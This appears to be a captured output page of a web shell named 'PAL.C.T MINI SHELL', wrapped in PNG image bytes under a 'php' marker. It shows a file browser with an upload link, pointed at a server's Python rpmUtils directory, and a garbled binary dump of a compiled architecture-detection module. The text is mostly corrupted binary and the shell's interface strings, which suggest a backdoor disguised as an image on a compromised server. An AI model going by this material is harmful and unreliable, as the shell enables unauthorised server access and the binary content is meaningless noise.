php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/rpmUtils/
upload
files >> //usr/lib/python2.6/site-packages/rpmUtils/arch.pyc

[c@s2ddkZeZhd=d6d>d6d?d6d@d	6dAd6ZeodBed	<nh'dd6d
d6dd6dd
6dd6dd6dd6dd6dd6d	d6d	d6dd	6dd6d
d6dd
6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6d d6d!d 6dd!6d"d#6d$d"6d%d$6dd%6d&d'6dd&6dd(6dd)6Zdd*Zd+Zd,Zd-Z	dd.Z
dd/Zdd0Zd1Z
d2Zd3Zd4Zd5Zd6d7ZeZed8Zdd9Zdd:Zd;efd<YZdS(CiNtathlontx86_64tsparcv9vtsparc64vtsparcv9tsparc64tppctppc64ts390ts390xti686ti586tgeodeti486ti386tnoarchtamd64tia32etppc64pseriestppc64iseriestsparcv8tsparct	alphaev68talphaev7t	alphaev67talphaev6t
alphapca56t	alphaev56talphaev5t	alphaev45talphaev4talphatarmv6ltarmv7lt	armv5tejltarmv5teltsh4tsh4atsh3tia64cCst|}t|otd|}n|g}|djp|ido?x<tiD]*\}}||jo|i|q_q_Wn|S(NtmyarchRR(tgetBestArchtisMultiLibArchtgetBaseArcht
startswithtarchestitemstappend(tarchtresultstktv((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytlegitMultiArchesInSameLibMs
	

cCskd||gjotStd|td|jotS|t|jp|t|jotStS(sbTake two arches and return True if it is possible that they can be
       installed together with the same nevr. Ex: arch1=i386 and arch2=i686 then
       it will return False. arch1=i386 and arch2=x86_64 will return True.
       It does not determine whether or not the arches make any sense. Just whether
       they could possibly install w/o conflictRR0(tFalseR*tgetArchListtTrue(tarch1tarch2((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytcanCoinstall^s
&cCsQ||jodS|tjo.tt||}|djo	|dSdSdS(Nii(R-tarchDifference(R(t
targetarchtret((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR;ss


	cCs
tt|S(N(R;t	canonArch(R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytscore}scCsU|djo
t}n|tjodS|tjodSt|tjodSdS(s5returns true if arch is a multilib arch, false if notiiN(tNoneR>R-tmultilibArches(R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR*s



c
Csjt|djodS|djo
t}nt|}t|}||jo2t||}|djo|djo|Sn|d}x|dD]}t||}t||}|djo|djoqn||jo|djo
|}qn||jo|djo
|}q0n||joqqWt||}	|	djodS|S(s 
        return the best arch from the list for myarch if - myarch is not given,
        then return the best arch from the list for the canonArch.
    iRiN(tlenR@R>R)tgetBestArchFromListR;(
tarchlistR(t
mybestarchtbestarchtbestarchchoicetthisarchR0tval1tval2tval((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyRCs:


	






cCs|p
t}n|g}x)|tjot|}|i|qW|ddjo|iddnt|djo"|d|jo|idn|S(NiRiRR(R>R-R/tinsertRB(RHRD((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR6s
	

$cCs,ytddi}|SWngSXdS(sY Try to read /proc/cpuinfo ... if we can't ignore errors (ie. proc not
        mounted). s
/proc/cpuinfotrN(topent	readlines(tlines((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyt_try_read_cpuinfos
cCs|djoDx<tD]1}|ido|iddjodSqW|S|djo|SxgtD]\}|ido|iddjod	S|id
o|iddjodSqmW|S(NRs
model names	Geode(TM)iRR
tvendortAuthenticAMDRtflagstcmov(RQR,tfind(R0tline((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytgetCanonX86Archs

&	

&&	cCs|djo|Sd}x?tD]4}|iddjo|idd}Pq"q"W|djo|S|iddjodS|iddjod	S|S(
NRtmachineit:isCHRP IBMRtiSeriesR(R@RQRVtsplit(R0RYRW((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytgetCanonPPCArchs

	
cCsd}x9tD].}|ido|idd}PqqW|djo|S|iddjo|idodSdSn|id	djo|idodSd
Sn|iddjodS|S(
NttypeRZitsun4viRRRtsun4uRtsun4mR(R@RQR,R\RV(R0t	SPARCtypeRW((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytgetCanonSPARCArchs&
	
cCs|djo|Sd}x9tD].}|ido|idd}Pq"q"W|djo|S|iddjp|iddjodS|id	djod
S|S(NRt	vendor_idRZis
Authentic AMDiRSRtGenuineIntelR(R@RQR,R\RV(R0RRRW((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytgetCanonX86_64Archs

	
,icCs|oltidtioVyHtdd}|i}|i|idd\}}}|SWqtqtXntid}t|djo0|ddjo|dd!djot	|S|i
d	ot|S|i
d
ot|S|djot
|S|S(Ns/etc/rpm/platformRMt-iiitit86RRR(tostaccesstR_OKRNtreadlinetcloseR\tunameRBRXR,R]RcRf(tskipRpmPlatformtfRWR0RRtopersys((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytgetCanonArch+s&
8
cCsJ|tjo	t|S|tjo#t|djotdt|SdS(NRR0(RAR-tgetMultiArchInfoR@(R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyRtGs

	cCs_|o
|}nt}|idot|d}n|idoto
d}n|S(NRiRR(R>R,RAt_ppc64_native_is_best(R(R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR)Qs

cCs|p
t}n|tjo|S|idodS|ido
todStd|o|tjo|St|Sn|tjo:|}t|}x"|djo|}t|}qW|SdS(sreturns 'base' arch for myarch, if specified, or canonArch if not.
       base arch is the arch before noarch in the arches dict if myarch is not
       a key in the multilibArches.RRRRR0RN(R>R-R,RuR*RA(R(tbasearchtvalue((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR+_s(





tArchStoragecBsDeZdZdZdedZddZdZdZ	RS(scclass for keeping track of what arch we have set and doing various 
       permutations based on itcCsDd|_d|_d|_g|_g|_t|_|idS(N(	R@t	canonarchRvRFtcompatarchesRDR5tmultilibt
setup_arch(tself((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyt__init__s						cCs|o
||_n
t|_td|i|_td|i|_|pRg}x<|iD]1}t|p
|djo|i|qaqaW||_ntd|i|_	t
d|i|_td|i|_t
d|i|_dS(NR(RHRR0(RyRsR+RvR6RDR*R/R)RFRtRzR{R4tlegit_multi_arches(R}R0tarchlist_includes_compat_archtlimit_archlistta((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR|s 


cCs$|p
|i}nt|d|S(NR((RyRC(R}RDtfromarch((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pytget_best_arch_from_lists
cCst|i|S(N(R;Ry(R}R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyR?scCs|p|iStd|S(NRH(RDR6(R}R0((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyt
get_arch_listsN(
t__name__t
__module__t__doc__R~R@R7R|RR?R(((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyRxs			(sathlonsx86_64sathlon(ssparcv9vssparcv9vssparc64v(ssparcv9ssparcv9ssparc64(sppcsppcsppc64(RR	R(sppcsppc64sppc64(RjR7RuRAR-R@R4R:R;R?R*RCR6RQRXR]RcRfRsR>RtR)R+tobjectRx(((s1/usr/lib/python2.6/site-packages/rpmUtils/arch.pyt<module>s


		
	,							
 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`